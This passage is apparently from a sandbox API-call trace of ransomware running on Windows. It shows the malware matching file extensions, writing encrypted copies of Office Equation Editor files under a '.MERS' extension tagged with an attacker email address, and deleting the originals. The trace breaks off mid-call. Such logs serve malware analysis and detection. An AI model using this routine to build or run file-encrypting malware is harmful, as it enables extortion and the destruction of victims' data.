[0049.845] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.845] lstrlenW (lpString=".zip") returned 4 [0049.845] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.845] lstrlenW (lpString=".rar") returned 4 [0049.845] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.845] lstrlenW (lpString=".bz2") returned 4 [0049.845] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.845] lstrlenW (lpString=".7z") returned 3 [0049.845] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.845] lstrlenW (lpString=".dbf") returned 4 [0049.845] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.845] lstrlenW (lpString=".1cd") returned 4 [0049.845] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.845] lstrlenW (lpString=".jpg") returned 4 [0049.846] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.846] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0049.846] lstrlenW (lpString="EEINTL.DLL") returned 10 [0049.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.847] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=64096) returned 1 [0049.847] CloseHandle (hObject=0x220) returned 1 [0049.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0049.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.847] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.847] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.848] GetLastError () returned 0x0 [0049.848] ReadFile (in: hFile=0x220, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0xfa60, lpOverlapped=0x0) returned 1 [0049.852] WriteFile (in: hFile=0x20c, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xfa70, lpOverlapped=0x0) returned 1 [0049.853] ReadFile (in: hFile=0x220, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.854] WriteFile (in: hFile=0x20c, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0049.854] SetEndOfFile (hFile=0x20c) returned 1 [0049.854] CloseHandle (hObject=0x20c) returned 1 [0049.854] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.854] SetEndOfFile (hFile=0x220) returned 1 [0049.863] CloseHandle (hObject=0x220) returned 1 [0049.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.863] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0049.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.863] lstrlenW (lpString=".doc") returned 4 [0049.864] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0049.864] lstrlenW (lpString=".docx") returned 5 [0049.864] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0049.864] lstrlenW (lpString=".pdf") returned 4 [0049.864] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0049.864] lstrlenW (lpString=".xls") returned 4 [0049.864] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0049.864] lstrlenW (lpString=".xlsx") returned 5 [0049.864] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0049.864] lstrlenW (lpString=".ppt") returned 4 [0049.864] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0049.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.864] lstrlenW (lpString=".zip") returned 4 [0049.864] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0049.864] lstrlenW (lpString=".rar") returned 4 [0049.864] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0049.864] lstrlenW (lpString=".bz2") returned 4 [0049.864] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0049.864] lstrlenW (lpString=".7z") returned 3 [0049.864] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0049.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.864] lstrlenW (lpString=".dbf") returned 4 [0049.864] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0049.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.864] lstrlenW (lpString=".1cd") returned 4 [0049.864] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0049.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.864] lstrlenW (lpString=".jpg") returned 4 [0049.864] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0049.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.864] lstrlenW (lpString=".doc") returned 4 [0049.864] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0049.864] lstrlenW (lpString=".docx") returned 5 [0049.864] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0049.864] lstrlenW (lpString=".pdf") returned 4 [0049.865] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0049.865] lstrlenW (lpString=".xls") returned 4 [0049.865] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0049.865] lstrlenW (lpString=".xlsx") returned 5 [0049.865] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0049.865] lstrlenW (lpString=".ppt") returned 4 [0049.865] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0049.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.865] lstrlenW (lpString=".zip") returned 4 [0049.865] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0049.865] lstrlenW (lpString=".rar") returned 4 [0049.865] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0049.865] lstrlenW (lpString=".bz2") returned 4 [0049.865] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0049.865] lstrlenW (lpString=".7z") returned 3 [0049.865] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0049.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.865] lstrlenW (lpString=".dbf") returned 4 [0049.865] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0049.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.865] lstrlenW (lpString=".1cd") returned 4 [0049.865] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0049.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.865] lstrlenW (lpString=".jpg") returned 4 [0049.865] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0049.865] lstrcmpiW (lpString1=".CNT", lpString2=".MERS") returned -1 [0049.865] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0049.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.902] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2557) returned 1 [0049.902] CloseHandle (hObject=0x1f8) returned 1 [0049.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0049.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.902] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.902] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.903] GetLastError () returned 0x0 [0049.903] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x9fd, lpOverlapped=0x0) returned 1 [0049.949] WriteFile (in: hFile=0x20c, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xa00, lpOverlapped=0x0) returned 1 [0049.950] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.950] WriteFile (in: hFile=0x20c, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.950] SetEndOfFile (hFile=0x20c) returned 1 [0049.950] CloseHandle (hObject=0x20c) returned 1 [0049.951] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.951] SetEndOfFile (hFile=0x1f8) returned 1 [0049.952] CloseHandle (hObject=0x1f8) returned 1 [0049.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.952] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0049.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.952] lstrlenW (lpString=".doc") returned 4 [0049.952] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0049.952] lstrlenW (lpString=".docx") returned 5 [0049.952] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0049.952] lstrlenW (lpString=".pdf") returned 4 [0049.952] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0049.952] lstrlenW (lpString=".xls") returned 4 [0049.952] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0049.952] lstrlenW (lpString=".xlsx") returned 5 [0049.952] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0049.953] lstrlenW (lpString=".ppt") returned 4 [0049.953] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0049.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.953] lstrlenW (lpString=".zip") returned 4 [0049.953] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0049.953] lstrlenW (lpString=".rar") returned 4 [0049.953] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0049.953] lstrlenW (lpString=".bz2") returned 4 [0049.953] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0049.953] lstrlenW (lpString=".7z") returned 3 [0049.953] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0049.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.953] lstrlenW (lpString=".dbf") returned 4 [0049.953] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0049.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.953] lstrlenW (lpString=".1cd") returned 4 [0049.953] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0049.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.953] lstrlenW (lpString=".jpg") returned 4 [0049.953] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0049.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.953] lstrlenW (lpString=".doc") returned 4 [0049.953] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0049.953] lstrlenW (lpString=".docx") returned 5 [0049.953] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0049.953] lstrlenW (lpString=".pdf") returned 4 [0049.953] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0049.953] lstrlenW (lpString=".xls") returned 4 [0049.953] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0049.953] lstrlenW (lpString=".xlsx") returned 5 [0049.953] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0049.953] lstrlenW (lpString=".ppt") returned 4 [0049.953] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0049.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.953] lstrlenW (lpString=".zip") returned 4 [0049.954] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0049.954] lstrlenW (lpString=".rar") returned 4 [0049.954] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0049.954] lstrlenW (lpString=".bz2") returned 4 [0049.954] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0049.954] lstrlenW (lpString=".7z") returned 3 [0049.954] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0049.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.954] lstrlenW (lpString=".dbf") returned 4 [0049.954] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0049.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.954] lstrlenW (lpString=".1cd") returned 4 [0049.954] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0049.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.954] lstrlenW (lpString=".jpg") returned 4 [0049.954] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0049.954] lstrcmpiW (lpString1=".manifest", lpString2=".MERS") returned -1 [0049.954] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0049.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0049.960] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=566) returned 1 [0049.960] CloseHandle (hObject=0x1c4) returned 1 [0049.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0049.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0049.960] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.960] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.961] GetLastError () returned 0x0 [0049.961] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x236, lpOverlapped=0x0) returned 1 [0049.961] WriteFile (in: hFile=0x214, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x240, lpOverlapped=0x0) returned 1 [0049.963] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.963] WriteFile (in: hFile=0x214, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xfe, lpOverlapped=0x0) returned 1 [0049.964] SetEndOfFile (hFile=0x214) returned 1 [0049.964] CloseHandle (hObject=0x214) returned 1 [0049.964] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.964] SetEndOfFile (hFile=0x1c4) returned 1 [0049.964] CloseHandle (hObject=0x1c4) returned 1 [0049.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.965] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0049.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0049.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0049.965] lstrlenW (lpString=".doc") returned 4 [0049.965] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0049.965] lstrlenW (lpString=".docx") returned 5 [0049.965] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0049.965] lstrlenW (lpString=".pdf") returned 4 [0049.965] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0049.965] lstrlenW (lpString=".xls") returned 4 [0049.965] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0049.965] lstrlenW (lpString=".xlsx") returned 5 [0049.965] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0049.965] lstrlenW (lpString=".ppt") returned 4 [0049.965] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0049.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0049.965] lstrlenW (lpString=".zip") returned 4 [0049.965] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0049.965] lstrlenW (lpString=".rar") returned 4 [0049.965] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0049.965] lstrlenW (lpString=".bz2") returned 4 [0049.965] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0049.966] lstrlenW (lpString=".7z") returned 3 [0049.966] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0049.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0049.966] lstrlenW (lpString=".dbf") returned 4 [0049.966] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0049.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0049.966] lstrlenW (lpString=".1cd") returned 4 [0049.966] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0049.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0049.966] lstrlenW (lpString=".jpg") returned 4 [0049.966] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0049.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0049.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0049.966] lstrlenW (lpString=".doc") returned 4 [0049.966] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0049.966] lstrlenW (lpString=".docx") returned 5 [0049.966] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0049.966] lstrlenW (lpString=".pdf") returned 4 [0049.966] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0049.966] lstrlenW (lpString=".xls") returned 4 [0049.966] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0049.966] lstrlenW (lpString=".xlsx") returned 5 [0049.966] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0049.966] lstrlenW (lpString=".ppt") returned 4 [0049.966] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0049.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0049.966] lstrlenW (lpString=".zip") returned 4 [0049.966] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0049.966] lstrlenW (lpString=".rar") returned 4 [0049.966] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0049.966] lstrlenW (lpString=".bz2") returned 4 [0049.966] lstrcmpiW 